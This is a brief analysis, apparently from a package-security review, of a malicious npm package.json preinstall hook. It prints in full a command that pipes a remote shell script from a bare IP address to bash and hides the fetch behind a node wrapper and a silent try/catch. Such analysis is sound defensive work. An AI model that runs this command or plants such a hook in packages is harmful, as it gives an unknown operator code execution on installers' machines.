package.json declares a preinstall lifecycle script that runs node -e to invoke child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'}), wrapped in a try/catch that silently discards errors. On npm install, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.
